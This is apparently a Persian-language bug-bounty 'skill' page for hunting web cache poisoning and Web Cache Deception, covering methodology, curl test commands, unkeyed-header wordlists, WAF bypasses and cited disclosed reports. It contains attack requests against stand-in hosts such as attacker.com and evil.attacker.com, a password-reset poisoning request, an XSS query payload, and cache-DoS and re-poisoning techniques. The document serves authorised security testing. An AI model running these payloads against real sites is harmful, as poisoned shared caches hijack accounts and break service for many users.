hunt-cache-poison

skillupstreamکلاس آسیب‌پذیریگزارش: ۸۲۳ کیلوبایت۱۱ بخش

اسکیل شکار برای آسیب‌پذیری‌های cache poison. ساخته‌شده از ۱۰ گزارش عمومی باگ‌بانتی شامل مسمومیت X-Forwarded-Host، کش X-HTTP-Method-Override / GCS، reflected←stored XSS از طریق کش، Web Cache Deception کلاسیک Omer-Gil و زره Cache Deception مربوط به Cloudflare.

توضیح انگلیسی اصلی (مرجع)

Hunting skill for cache poison vulnerabilities. Built from 10 public bug bounty reports including X-Forwarded-Host poisoning, X-HTTP-Method-Override / GCS cache, reflected→stored XSS via cache, classic Omer-Gil Web Cache Deception, Cloudflare Cache Deception Armor bypass, session-token cache deception, Akamai hop-by-hop smuggling → server-side edge poisoning, and Kettle's 2024 path-normalization WCD against Cloudflare/Fastly/GCP. Host/X-Forwarded-Host injection that reaches app logic (reset-link poisoning, routing SSRF, OAuth issuer) is owned by hunt-host-header; this skill owns the case where the poisoned response is CACHED and served to other users. Use when hunting cache poisoning, Web Cache Deception, CDN-fronted apps.

فلوی اجرای گام‌به‌گام

◆
hunt-cache-poisonشروع اجرا
۱
‏زیرساخت کش را نقشه کن. یک GET به تارگت بفرست و هدرهای پاسخ را بررسی کن. لایه‌ی کش را شناسایی کن ‏(Cloudflare، Fastly، Varnish، Nginx). هدرهای `Age`، `X-Cache`، `CF-Cache-Status` را یادداشت کن.
۲
‏اجزای کلید کش را شناسایی کن. دو درخواست یکسان بفرست — اگر `Age` افزایش یابد، پاسخ کش شده. هدرها را یکی‌یکی تغییر بده ‏(مثلاً `X-Forwarded-Host` اضافه کن) تا تعیین کنی کدام هدرها در کلید کش نیستند ‏(unkeyed).
۳
‏دستکاری مسیر URL را تست کن ‏(Web Cache Deception). پسوندهای استاتیک جعلی به endpointهای داینامیک اضافه کن:
۴
‏DoS از طریق مسمومیت کش را تست کن. درخواستی با هدری بفرست که خطای 4xx/5xx می‌سازد و چک کن آیا آن پاسخ خطا کش می‌شود:
۵
‏مسمومیت پارامتر unkeyed را تأیید کن. خستگی پارامتر کوئری یا آلودگی پارامتر HTTP را امتحان کن:
۶
‏ذخیره‌ی کش را اعتبارسنجی کن. بعد از فرستادن درخواست بالقوه‌مسموم، بلافاصله همان URL را بدون هدر مخرب از IP متفاوت یا session incognito درخواست کن. اگر پاسخ مسموم را دریافت کردی — تأیید شد.
۷
‏TTL مربوط به کش را بسنج. `Cache-Control: max-age` و `Age` را چک کن تا بفهمی زهر چقدر باقی می‌ماند و آیا قبل از انقضا قابل‌اکسپلویت است.
۸
‏فلوهای affiliate/لینک را خصوصی چک کن. برای پلتفرم‌هایی مثل Linkpop، تست کن آیا referrer/URL محصول در پاسخ cacheable‌ای که کاربر دیگری دریافت می‌کند جاسازی شده.
۹
‏شعاع انفجار را مستند کن. تعیین کن: edge مربوط به CDN جهانی ‏(سراسرجهانی)، کش منطقه‌ای، یا کش تک‌سرور. این مستقیم روی ریت شدت اثر می‌گذارد.
۱۰
‏مهاجم الان می‌تواند چه کار کند؟
۱۱
‏قربانی چه چیزی را از دست می‌دهد؟
۱۲
‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
✓
پایان — اعتبارسنجی و گزارش

ترتیب مرحله‌ای استخراج‌شده از بخش‌های متدولوژی/اعتبارسنجی — ۱۲ گام؛ گام‌های شرطی با «؟ تصمیم» مشخص شده‌اند.

نقشه‌ی ساختار اسکیل

hunt-cache-poisonکلاس آسیب‌پذیری · ۱۱ بخش۱اهداف ارزشمند۲بخش تکمیلی۳سطح حمله و سیگنال‌ها۴مراحل شکار۵Payload و الگوهای تشخیص۶علل ریشه‌ای۷تکنیک‌های Bypass۸دروازه‌ی اعتبارسنجی۹اهداف ارزشمند۱۰نمونه‌های واقعی و impact۱۱دروازه‌ی اعتبارسنجی
اهداف ارزشمند · ۳بخش تکمیلی · ۱سطح حمله و سیگنال‌ها · ۱مراحل شکار · ۳Payload و الگوهای تشخیص · ۱علل ریشه‌ای · ۱تکنیک‌های Bypass · ۱

روی هر گره کلیک کنید تا به بخش مربوطه بروید؛ دکمه‌ی «سورس MD» در هدر هر بخش، متن اصلی را با شماره‌ی خط می‌آورد.

بخش‌های اسکیل

هر بخش با عنوان فارسی، نوع محتوا و توضیح فارسی نمایش داده شده. روی «سورس MD» کلیک کنید تا متن اصلی انگلیسی با شماره‌ی خطوط فایل در نمایشگر کناری باز شود.

۱

اهداف ارزشمند

Crown Jewel Targets
ترجمه‌ی کامل ✓بخش ۱ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏مسمومیت کش باارزش است چون یک ورودی کش مسموم‌شده‌ی تکی می‌تواند هزاران یا میلیون‌ها قربانی را هم‌زمان تحت‌تأثیر بگذارد — یک درخواست، اکسپلویت انبوه. پرداخت با شعاع انفجار مقیاس می‌شود.

‏تارگت‌های باارزش‌ترین:

  • ‏assetهای CDN-سروشده ‏(cdn.shopify.com، توزیع‌های cloudfront، edgeهای Fastly/Akamai) — مسمومیت این‌ها هر بازدیدکننده‌ی جهانی را تحت‌تأثیر می‌گذارد
  • ‏پلتفرم‌های e-commerce با فلوهای affiliate/referral ‏(ویترین‌های Shopify، WooCommerce) — پتانسیل ربودن session یا تقلب affiliate
  • ‏پلتفرم‌های gaming با سرورهای update ‏(دامنه‌های updates.* مربوط به rockstargames) — DoS روی تحویل update = شکستن گسترده‌ی کلاینت
  • ‏endpointهای احراز هویت سروشده از طریق کش — به تسخیر اکانت منجر می‌شود ‏(واریانت بالاترین شدت)
  • ‏CDNهای asset ‏(تحویل JS/CSS) — تحویل payload مربوط به XSS در مقیاس
  • ‏پلتفرم‌های SaaS چند-tenant — یک پاسخ مسموم به همه‌ی tenantهای share‌کننده‌ی کلید کش نشت می‌کند

‏انواع asset با بیشترین پرداخت: hostnameهای CDN، الگوهای ساب‌دامین-به‌ازای-tenant، سرورهای update/download، صفحات login/account که اشتباه کش شده‌اند، کوتاه‌کننده‌های لینک affiliate.

۲

بخش تکمیلی

Autonomous Testing Priority
ترجمه‌ی کامل ✓بخش ۲ از ۱۱

بخش تکمیلی سند که در دسته‌بندی استاندارد نگنجیده است

‏دو حمله‌ی متمایز زیر این اسکیل زندگی می‌کنند — اول ساده‌تر را هدف بگیر.

‏حمله ۱ — مسمومیت Password Reset ‏(تزریق هدر Host):

‏اپ از هدر Host برای ساخت لینک reset در ایمیل استفاده می‌کند. hostname تحت‌کنترل مهاجم را تزریق کن؛ ایمیل reset قربانی شامل لینکی به سرور تو می‌شود.

POST /forgot-password
Host: attacker.com
X-Forwarded-Host: attacker.com
X-Host: attacker.com

email=victim@target.com
Content-Type: application/x-www-form-urlencoded

‏از hostname متمایزی استفاده کن که کنترلش می‌کنی یا می‌توانی در پاسخ شناسایی‌اش کنی. اثبات: hostname تزریق‌شده در بدنه‌ی پاسخ ظاهر می‌شود (بعضی اپ‌ها لینک reset تولیدشده را بازتاب می‌دهند)، یا اکشن بعد از تزریق موفق می‌شود ‏(2xx با پیام «reset email sent») — تأیید می‌کند لینک مسموم به قربانی فرستاده می‌شد.

‏چند هدر host را امتحان کن — اپ‌ها در اینکه به کدام اعتماد دارند متفاوت‌اند ‏(X-Forwarded-Host رایج‌ترین است، ولی خود Host هم وقتی proxy عبورش می‌دهد کار می‌کند).

‏حمله ۲ — مسمومیت Web Cache:

‏hostname تحت‌کنترل مهاجم را به X-Forwarded-Host روی یک درخواست GET برای صفحه‌ی cacheable تزریق کن. اگر hostname در بدنه‌ی پاسخ بازتاب شود و پاسخ کش شود، بازدیدکنندگان بعدی پاسخ مسموم را دریافت می‌کنند.

‏دنبال سیگنال‌های کش در پاسخ بگرد: X-Cache: HIT، CF-Cache-Status: HIT، Age: <nonzero>، یا Via: cloudfront/varnish/fastly.

‏اثبات برای هر دو: مقدار تزریق‌شده در بدنه‌ی پاسخ بازتاب شود، یا اکشن با وجود هدر دستکاری‌شده با موفقیت کامل شود.

۳

سطح حمله و سیگنال‌ها

Attack Surface Signals
ترجمه‌ی کامل ✓بخش ۳ از ۱۱

نشانه‌های URL، header، JS و tech stack که نشان می‌دهد این تکنیک اینجا جواب می‌دهد

‏الگوهای URL برای جستجو:

  • ‏ساب‌دامین‌های cdn.، assets.، static.، updates.، downloads.
  • ‏ساختارهای مسیر URL با پسوندهایی که استاتیک به‌نظر می‌رسند: /path/to/page.css، /account.php/nonexistent.jpg
  • ‏endpointهای affiliate/کوتاه‌کننده‌ی لینک: /link/، /go/، /ref/، /out/
  • ‏مسیرهایی که محتوای داینامیک را با URLهای cacheable-نما قاطی می‌کنند

‏هدرهای پاسخ که کش را سیگنال می‌دهند:

X-Cache: HIT / MISS
X-Cache-Status: HIT
CF-Cache-Status: HIT / MISS (Cloudflare)
Age: <nonzero>
Via: 1.1 varnish / cloudfront / fastly
Cache-Control: public, max-age=...
Surrogate-Control: max-age=...
X-Served-By: cache-...

‏سیگنال‌های JS/tech stack:

  • ‏Fastly، Varnish، Cloudfront، Akamai، proxy_cache مربوط به Nginx در هدرهای پاسخ
  • ‏پشته‌های Shopify/Linkpop با یکپارچه‌سازی‌های third-party
  • ‏پلتفرم‌هایی با routing مبتنی-بر-مسیر بدون نرمال‌کردن سگمنت‌های انتهایی
  • ‏سرورهایی که هدرهای اعتبارسنجی‌نشده را به پاسخ‌ها بازتاب می‌دهند ‏(Host، X-Forwarded-Host، X-Original-URL)

‏نامزدهای هدر خطرناک ‏(ورودی‌های unkeyed):

X-Forwarded-Host
X-Host
X-Forwarded-Scheme
X-Original-URL
X-Rewrite-URL
Forwarded
X-HTTP-Method-Override
۴

مراحل شکار

Step-by-Step Hunting Methodology
ترجمه‌ی کامل ✓بخش ۴ از ۱۱

روش‌شناسی گام‌به‌گام اجرای تکنیک از شناسایی تا اعتبارسنجی

  1. ‏زیرساخت کش را نقشه کن. یک GET به تارگت بفرست و هدرهای پاسخ را بررسی کن. لایه‌ی کش را شناسایی کن ‏(Cloudflare، Fastly، Varnish، Nginx). هدرهای Age، X-Cache، CF-Cache-Status را یادداشت کن.
  1. ‏اجزای کلید کش را شناسایی کن. دو درخواست یکسان بفرست — اگر Age افزایش یابد، پاسخ کش شده. هدرها را یکی‌یکی تغییر بده ‏(مثلاً X-Forwarded-Host اضافه کن) تا تعیین کنی کدام هدرها در کلید کش نیستند ‏(unkeyed).
  1. ‏بازتاب هدر unkeyed را تست کن. X-Forwarded-Host: evil.com اضافه کن و چک کن آیا مقدار در بدنه‌ی پاسخ ظاهر می‌شود ‏(redirectها، لینک‌های canonical، هدرهای CSP، attributeهای src مربوط به JS، تگ‌های meta). یک پارامتر کوئری cache-busting یکتا اضافه کن ‏(مثلاً ?cb=<random>) تا probe روی MISS کش زیر کلید یک‌بارمصرف فرود بیاید — این بازتاب را بدون ذخیره‌ی زودهنگام ورودی زهر زنده زیر کلید واقعی مشترک-قربانی verify می‌کند. ‏(حالت «Guess headers» مربوط به Param Miner ابزار canonical Burp برای کشف خودکار این هدرها/پارامترهای unkeyed است.)
  1. ‏دستکاری مسیر URL را تست کن ‏(Web Cache Deception). پسوندهای استاتیک جعلی به endpointهای داینامیک اضافه کن:
  • ‏GET /account/profile.css
  • ‏GET /dashboard/settings.jpg
  • ‏GET /affiliate-link/target.js

‏چک کن آیا سرور محتوای داینامیک برمی‌گرداند و کش آن را ذخیره می‌کند.

  1. ‏DoS از طریق مسمومیت کش را تست کن. درخواستی با هدری بفرست که خطای 4xx/5xx می‌سازد و چک کن آیا آن پاسخ خطا کش می‌شود:
  • ‏هدر Host مخدوش
  • ‏X-Forwarded-Host که به هاست نامعتبر اشاره می‌کند
  • ‏هدرهای oversized که خطاهای بک‌اند را trigger می‌کنند
  1. ‏مسمومیت پارامتر unkeyed را تأیید کن. خستگی پارامتر کوئری یا آلودگی پارامتر HTTP را امتحان کن:
  • ‏GET /page?utm_source="><script>alert(1)</script>

‏چک کن آیا پارامتر بازتاب و برای درخواست‌های تمیز به /page کش می‌شود.

  1. ‏ذخیره‌ی کش را اعتبارسنجی کن. بعد از فرستادن درخواست بالقوه‌مسموم، بلافاصله همان URL را بدون هدر مخرب از IP متفاوت یا session incognito درخواست کن. اگر پاسخ مسموم را دریافت کردی — تأیید شد.
  1. ‏TTL مربوط به کش را بسنج. Cache-Control: max-age و Age را چک کن تا بفهمی زهر چقدر باقی می‌ماند و آیا قبل از انقضا قابل‌اکسپلویت است.
  1. ‏فلوهای affiliate/لینک را خصوصی چک کن. برای پلتفرم‌هایی مثل Linkpop، تست کن آیا referrer/URL محصول در پاسخ cacheable‌ای که کاربر دیگری دریافت می‌کند جاسازی شده.
  1. ‏شعاع انفجار را مستند کن. تعیین کن: edge مربوط به CDN جهانی ‏(سراسرجهانی)، کش منطقه‌ای، یا کش تک‌سرور. این مستقیم روی ریت شدت اثر می‌گذارد.
مراحل استخراج‌شده
  1. ۱‏زیرساخت کش را نقشه کن. یک GET به تارگت بفرست و هدرهای پاسخ را بررسی کن. لایه‌ی کش را شناسایی کن ‏(Cloudflare، Fastly، Varnish، Nginx). هدرهای `Age`، `X-Cache`، `CF-Cache-Status` را یادداشت کن.
  2. ۲‏اجزای کلید کش را شناسایی کن. دو درخواست یکسان بفرست — اگر `Age` افزایش یابد، پاسخ کش شده. هدرها را یکی‌یکی تغییر بده ‏(مثلاً `X-Forwarded-Host` اضافه کن) تا تعیین کنی کدام هدرها در کلید کش نیستند ‏(unkeyed).
  3. ۳‏دستکاری مسیر URL را تست کن ‏(Web Cache Deception). پسوندهای استاتیک جعلی به endpointهای داینامیک اضافه کن:
  4. ۴‏`GET /account/profile.css`
  5. ۵‏`GET /dashboard/settings.jpg`
  6. ۶‏`GET /affiliate-link/target.js`
  7. ۷‏DoS از طریق مسمومیت کش را تست کن. درخواستی با هدری بفرست که خطای 4xx/5xx می‌سازد و چک کن آیا آن پاسخ خطا کش می‌شود:
  8. ۸‏هدر `Host` مخدوش
  9. ۹‏`X-Forwarded-Host` که به هاست نامعتبر اشاره می‌کند
  10. ۱۰‏هدرهای oversized که خطاهای بک‌اند را trigger می‌کنند
  11. ۱۱‏مسمومیت پارامتر unkeyed را تأیید کن. خستگی پارامتر کوئری یا آلودگی پارامتر HTTP را امتحان کن:
  12. ۱۲‏`GET /page?utm_source="><script>alert(1)</script>`
  13. ۱۳‏ذخیره‌ی کش را اعتبارسنجی کن. بعد از فرستادن درخواست بالقوه‌مسموم، بلافاصله همان URL را بدون هدر مخرب از IP متفاوت یا session incognito درخواست کن. اگر پاسخ مسموم را دریافت کردی — تأیید شد.
  14. ۱۴‏TTL مربوط به کش را بسنج. `Cache-Control: max-age` و `Age` را چک کن تا بفهمی زهر چقدر باقی می‌ماند و آیا قبل از انقضا قابل‌اکسپلویت است.
۵

Payload و الگوهای تشخیص

Payload & Detection Patterns
ترجمه‌ی کامل ✓بخش ۵ از ۱۱

دستورها، payloadها و الگوهای قابل‌اجرا برای تست تکنیک

‏تأیید رفتار کش:

# Send twice, compare Age header
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"
curl -s -I "https://target.com/page" | grep -i "age\|x-cache\|cf-cache"

‏تست X-Forwarded-Host مربوط به unkeyed:

curl -s -H "X-Forwarded-Host: evil.attacker.com" \
  "https://target.com/page" | grep -i "evil.attacker.com"

‏تست Web Cache Deception ‏(اضافه‌کردن مسیر):

# Authenticated session cookie required
curl -s -b "session=YOUR_SESSION" \
  "https://target.com/account/profile.css"

# Then fetch without auth from another client
curl -s "https://target.com/account/profile.css"

‏اجبار cache miss برای تست زهر بدون hit کردن نسخه‌ی کش‌شده:

# Use a unique cache-busting query param to land on a fresh key — do NOT rely on
# client-sent "Cache-Control: no-cache" (per RFC 7234 it requests revalidation, not
# skip-storage, and Cloudflare/Fastly/Akamai generally ignore it on cacheable assets).
curl -s -H "X-Forwarded-Host: canary.attacker.com" \
     "https://target.com/page?cb=$RANDOM"

‏DoS از طریق پاسخ خطای مسموم:

curl -s -H "X-Forwarded-Host: aaaaaaaaaaa.invalid" \
  "https://target.com/js/app.js" -I
# Check if next clean request returns error
curl -s -I "https://target.com/js/app.js" | grep "HTTP/"

‏الگوهای grep در history مربوط به پاسخ Burp/ZAP:

# Headers indicating cache hit
X-Cache: HIT
CF-Cache-Status: HIT
Age: [1-9]

# Reflected unkeyed input in body
evil\.attacker\.com
canary\d+\.

# Web cache deception indicators
Content-Type: text/css  (but response is HTML/JSON)
Cache-Control: public.*max-age  (on authenticated endpoint)

‏تست آلودگی پارامتر:

curl -s "https://target.com/page?cb=1&param=CANARY_VALUE" | grep CANARY_VALUE
# Then check if clean request returns poisoned version
curl -s "https://target.com/page?cb=1"

‏wordlist مربوط به Intruder مربوط به Burp Suite برای هدرهای unkeyed:

X-Forwarded-Host
X-Host
X-Forwarded-Server
X-HTTP-Host-Override
Forwarded
X-Original-URL
X-Rewrite-URL
X-Forwarded-Scheme
X-Forwarded-Proto
True-Client-IP

هدر Origin ← مسمومیت کش ACAO

‏Origin را به مجموعه‌ی هدر unkeyed اضافه کن. تست کن آیا به Access-Control-Allow-Origin بازتاب و بعد کش می‌شود: curl -H "Origin: evil.example" URL -I روی دو hit متوالی. ACAO مربوط به attacker/* کش‌شده CORS را برای کاربران قانونی می‌شکند ‏(cache-DoS)؛ ACAO متساهل کش‌شده خواندن داده‌ی متقاطع-کاربر را ممکن می‌کند. افشاشده: reports/591302.

۶

علل ریشه‌ای

Common Root Causes
ترجمه‌ی کامل ✓بخش ۶ از ۱۱

ریشه‌های کدنویسی و طراحی که این باگ را می‌سازند — با مقایسه‌ی کد آسیب‌پذیر/امن

  1. ‏پیکربندی‌غلط CDN — کش بر اساس فقط مسیر URL. مهندسها قواعد کش مثل «همه‌چیز تطابق‌یافته با *.js را کش کن» کانفیگ می‌کنند بدون فهمیدن اینکه مسیر می‌تواند به روت‌های داینامیک اضافه شود. سرور origin سگمنت‌های مسیر اضافه را نادیده می‌گیرد، ولی CDN از آن‌ها به‌عنوان کلید کش استفاده می‌کند.
  1. ‏فوروارد هدر unkeyed. توسعه‌دهندگان proxyهای معکوس را برای فوروارد X-Forwarded-Host به بک‌اندها برای تولید URL ‏(لینک‌های canonical، redirectها، ایمیل‌های password reset) کانفیگ می‌کنند بدون گنجاندن آن در کلید کش. CDN پاسخ مسموم را کش می‌کند.
  1. ‏Web Cache Deception از طریق routing متساهل. frameworkهایی که URLها را نرمال می‌کنند ‏(مثلاً Rails، Express) مقدار /account/settings.css را قبول و همان پاسخ /account/settings را سرو می‌کنند. CDN پسوند .css را می‌بیند و قواعد کش aggressive اعمال می‌کند.
  1. ‏کش مشترک پاسخ‌های چند-tenant. پلتفرم‌های SaaS که از یک CDN تکی بدون ایزولیشن tenant در کلید کش استفاده می‌کنند مسمومیت کش متقاطع-tenant را اجازه می‌دهند.
  1. ‏پاسخ‌های خطا بدون فکر کش‌شده. خطاهای بک‌اند ‏(۴۰۴، ۵۰۰) triggerشده‌ی ورودی تحت‌کنترل مهاجم کش می‌شوند و DoS برای کاربران قانونی می‌سازند. توسعه‌دهندگان کش را بدون exclude‌کردن status codeهای خطا پیاده می‌کنند.
  1. ‏پیاده‌سازی تنبل هدر Vary. توسعه‌دهندگان می‌دانند باید Vary: X-Forwarded-Host اضافه کنند ولی فراموش می‌کنند، یا CDNها هدرهای Vary را کلاً strip/ignore می‌کنند ‏(Cloudflare سابقاً Vary را روی بعضی انواع asset strip می‌کرد).
  1. ‏یکپارچه‌سازی‌های third-party با بازتاب URL. سیستم‌های ردیابی affiliate/لینک ‏(مثل Shopify Linkpop) URL مقصد را در متادیتا، تگ‌های canonical یا redirectها بازتاب می‌دهند — و این‌ها جهانی کش می‌شوند.
۷

تکنیک‌های Bypass

Bypass Techniques
ترجمه‌ی کامل ✓بخش ۷ از ۱۱

نگاشت دفاع ← دورزدن و payloadهای جایگزین برای کنترل‌های شناخته‌شده

‏دفاع: WAF که هدرهای poison شناخته‌شده را بلاک می‌کند

  • ‏دورزدن: از واریانت‌های هدر کمتر‌رایج استفاده کن: X-Host، X-Forwarded-Server، X-HTTP-Host-Override، Forwarded: host=evil.com، X-Original-URL
  • ‏دورزدن: encode‌کردن مقدار هدر: X-Forwarded-Host: evil%2ecom
  • ‏دورزدن: واریشن حروف: x-forwarded-host، X-FORWARDED-HOST

‏دفاع: strip‌کردن هدرهای مهاجم-تأمین‌شده در edge

  • ‏دورزدن: از دستکاری pseudo-header مربوط به HTTP/2 استفاده کن اگر proxy به HTTP/1.1 downgrade می‌کند
  • ‏دورزدن: از طریق قاچاق درخواست HTTP تزریق کن — درخواستی با هدرهای poison از WAF عبور بده تا مستقیم به سرور کش برسد

‏دفاع: نیاز به احراز هویت قبل از کش

  • ‏دورزدن: Web Cache Deception — کش را فریب بده محتوای authenticated را با اضافه‌کردن .css/.js به URL ذخیره کند، که با قاعده‌ی کشی مطابق است که auth را نادیده می‌گیرد

‏دفاع: کلید کش شامل URL کامل با query string است

  • ‏دورزدن: آلودگی پارامتر HTTP — بعضی parserها اولین occurrence را می‌گیرند، کش‌ها روی رشته‌ی کامل کلید می‌زنند؛ ?legit=1&param=evil تزریق کن و کش زیر ?legit=1&param=evil ذخیره می‌کند ولی قربانی ?legit=1 را می‌بیند
  • ‏دورزدن: درخواست Fat GET — پارامترهای بدنه بفرست که بک‌اند پردازش می‌کند ولی کش نادیده می‌گیرد

‏دفاع: TTL کوتاه / purge سریع کش

  • ‏دورزدن: re-poisoning را خودکار کن؛ درخواست poison را در حلقه درست قبل از انقضای TTL بفرست
  • ‏دورزدن: گره‌های CDN با TTLهای پیش‌فرض طولانی‌تر را با مسیریابی درخواست‌ها از طریق PoPهای خاص هدف بگیر

‏دفاع: Cache-Control: private روی endpointهای حساس

  • ‏دورزدن: چک کن آیا CDN این هدر را رعایت می‌کند ‏(بعضی CDNها اگر admin قواعد کش را جهانی override کرده باشد ignore می‌کنند)
  • ‏دورزدن: endpointهای cacheable مجاور را پیدا کن که همان داده‌ی حساس را بازتاب می‌دهند
مراحل استخراج‌شده
  1. ۱‏دورزدن: از واریانت‌های هدر کمتر‌رایج استفاده کن: `X-Host`، `X-Forwarded-Server`، `X-HTTP-Host-Override`، `Forwarded: host=evil.com`، `X-Original-URL`
  2. ۲‏دورزدن: encode‌کردن مقدار هدر: `X-Forwarded-Host: evil%2ecom`
  3. ۳‏دورزدن: واریشن حروف: `x-forwarded-host`، `X-FORWARDED-HOST`
  4. ۴‏دورزدن: از دستکاری pseudo-header مربوط به HTTP/2 استفاده کن اگر proxy به HTTP/1.1 downgrade می‌کند
  5. ۵‏دورزدن: از طریق قاچاق درخواست HTTP تزریق کن — درخواستی با هدرهای poison از WAF عبور بده تا مستقیم به سرور کش برسد
  6. ۶‏دورزدن: Web Cache Deception — کش را فریب بده محتوای authenticated را با اضافه‌کردن `.css`/`.js` به URL ذخیره کند، که با قاعده‌ی کشی مطابق است که auth را نادیده می‌گیرد
  7. ۷‏دورزدن: آلودگی پارامتر HTTP — بعضی parserها اولین occurrence را می‌گیرند، کش‌ها روی رشته‌ی کامل کلید می‌زنند؛ `?legit=1&param=evil` تزریق کن و کش زیر `?legit=1&param=evil` ذخیره می‌کند ولی قربانی `?legit=1` را می‌بیند
  8. ۸‏دورزدن: درخواست Fat GET — پارامترهای بدنه بفرست که بک‌اند پردازش می‌کند ولی کش نادیده می‌گیرد
  9. ۹‏دورزدن: re-poisoning را خودکار کن؛ درخواست poison را در حلقه درست قبل از انقضای TTL بفرست
  10. ۱۰‏دورزدن: گره‌های CDN با TTLهای پیش‌فرض طولانی‌تر را با مسیریابی درخواست‌ها از طریق PoPهای خاص هدف بگیر
  11. ۱۱‏دورزدن: چک کن آیا CDN این هدر را رعایت می‌کند ‏(بعضی CDNها اگر admin قواعد کش را جهانی override کرده باشد ignore می‌کنند)
  12. ۱۲‏دورزدن: endpointهای cacheable مجاور را پیدا کن که همان داده‌ی حساس را بازتاب می‌دهند
۸

دروازه‌ی اعتبارسنجی

Gate 0 Validation
ترجمه‌ی کامل ✓بخش ۸ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  1. ‏مهاجم الان می‌تواند چه کار کند؟

‏مهاجم باید بتواند ورودی کش را مسموم کند و بعد دمو کند که یک درخواست جدا و ناشناس از کلاینت/IP متفاوت پاسخ مسموم را دریافت می‌کند — نه فقط مرورگر خودش. اگر فقط مهاجم اثر را می‌بیند، مسمومیت کش نیست.

  1. ‏قربانی چه چیزی را از دست می‌دهد؟

‏باید یکی از این‌ها باشد: ‏(الف) تصاحب session/اکانت از طریق credentialهای بازتابی در پاسخ مسموم، ‏(ب) اجرای JS تحت‌کنترل مهاجم از طریق asset مسموم، ‏(ج) انکار سرویس جایی که درخواست‌های قانونی پاسخ خطا می‌گیرند، یا ‏(د) افشای داده‌ی حساس ‏(جزئیات اکانت کش‌شده و به کاربران دیگر سروشده). «هدرهای پاسخ عجیب» به‌تنهایی impact نیست.

  1. ‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟

‏باید بتوانی: درخواست مسموم‌کننده را بفرستی ← برای ذخیره‌ی کش صبر کنی ← URL را از incognito/IP متفاوت fetch کنی ← پاسخ مسموم را مشاهده کنی. اگر نمی‌توانی این بازتولید تمیز را با کلاینت دوم دمو کنی، کش شاید واقعاً زهر را ذخیره نمی‌کند و گزارش آماده نیست.

مراحل استخراج‌شده
  1. ۱‏مهاجم الان می‌تواند چه کار کند؟
  2. ۲‏قربانی چه چیزی را از دست می‌دهد؟
  3. ۳‏آیا در ۱۰ دقیقه از صفر بازتولید می‌شود؟
۹

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

‏سناریو ۱ — DoS انبوه روی تحویل asset مربوط به CDN ‏(CDN مربوط به Shopify)

‏مهاجم شناسایی کرد که assetهای جاوااسکریپت CDN-سروشده روی cdn.shopify.com را می‌توان با فرستادن درخواستی با هدر دستکاری‌شده که باعث برگشتن خطای 4xx از origin می‌شد مسموم کرد. CDN آن پاسخ خطا را کش کرد. هر ویترین merchant که آن asset را لود می‌کرد به‌جای فایل JS معتبر خطای کش‌شده دریافت می‌کرد — فلوهای checkout و کارکرد ویترین را در همه‌ی فروشگاه‌های share‌کننده‌ی آن مسیر CDN می‌شکست. یک درخواست HTTP، اثر جهانی روی merchant، باقی‌مانده تا انقضای TTL مربوط به کش.

‏سناریو ۲ — تسخیر اکانت از طریق Web Cache Deception

‏روی پلتفرمی که صفحات اکانت authenticated سرو می‌کرد، مهاجم URLی مثل /account/profile/photo.jpg ساخت و به قربانی فرستاد ‏(از طریق لینک phishing). وقتی قربانی ‏(authenticated) به URL رفت، سرور با صفحه‌ی کامل پروفایل اکانتش (نام، ایمیل، توکن‌های session) جواب داد. چون URL به .jpg ختم می‌شد، CDN پاسخ authenticated را عمومی کش کرد. مهاجم بعد /account/profile/photo.jpg را بدون احراز هویت fetch کرد و داده‌ی اکانت قربانی را دریافت کرد — که تسخیر کامل اکانت را ممکن می‌کرد. اثر تقویت شد چون کش همان پاسخ را به هر درخواست‌کننده‌ی بعدی سرو می‌کرد.

‏سناریو ۳ — ربودن لینک Affiliate از طریق دستکاری مسیر URL ‏(Linkpop مربوط به Shopify)

‏مهاجم کشف کرد سرویس لینک affiliate مربوط به Linkpop پاسخ‌ها را بر اساس مسیر URL کش می‌کند ولی URL مقصد محصول دستکاری‌شده را در HTML کش‌شده بازتاب می‌دهد. با بازدید مسیر مخصوص‌ساخته قبل از کاربران قانونی، مهاجم کش را مسموم کرد تا کلیک‌های affiliate به‌جای محصول قانونی آمازون به دامنه‌ی تحت‌کنترل مهاجم redirect شود. قربانیان که چیزی را که لینک merchant معتبر به‌نظر می‌رسید کلیک می‌کردند به زیرساخت مهاجم فرستاده می‌شدند، که phishing مربوط به credential و ازدست‌رفتن درآمد کمیسیون affiliate برای merchant قانونی را ممکن می‌کرد.

۱۰

نمونه‌های واقعی و impact

Disclosed Report Citations (2017-2024)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

‏کیس‌های واقعی و تأییدشده‌ی باگ‌بانتی / coordinated-disclosure زیر این اسکیل را گسترش می‌دهند. دو خانواده‌ی بزرگ را پوشش می‌دهد: مسمومیت کش ‏(مهاجم پاسخ کش‌شده‌ی سروشده به قربانیان را تحت‌تأثیر می‌گذارد) و فریب کش ‏(مهاجم کش را فریب می‌دهد پاسخ خصوصی قربانی را ذخیره کند).

  1. ‏‏Shopify — مسمومیت کش از طریق X-Forwarded-Host (H1 #977851)
  • ‏زیرکلاس: مسمومیت هدر X-Forwarded-Host ‏(ورودی unkeyed ← فساد redirect/script-src)
  • ‏‏Payload: GET /any-path با X-Forwarded-Host: attacker.com — یک درخواست تکی هاست مهاجم را در پاسخ کش‌شده در apps.shopify.com و ساب‌دامین‌های localized persist کرد
  • ‏علت ریشه‌ای: X-Forwarded-Host روی تولید URL مربوط به asset/redirect اثر می‌گذاشت ولی در کلید کش نبود
  • ‏سال: ۲۰۲۰ — ۱٬۳۰۰ دلار ← تشدید به ۶٬۳۰۰ دلار ‏(زهر تک‌شات، شعاع انفجار چندهاستی)
  1. ‏‏HackerOne — DoS مربوط به مسمومیت کش از طریق X-Forwarded-Port (H1 #409370)
  • ‏زیرکلاس: DoS مربوط به X-Forwarded-Host / X-Forwarded-Port ‏(redirect مسموم به پورت نامعتبر)
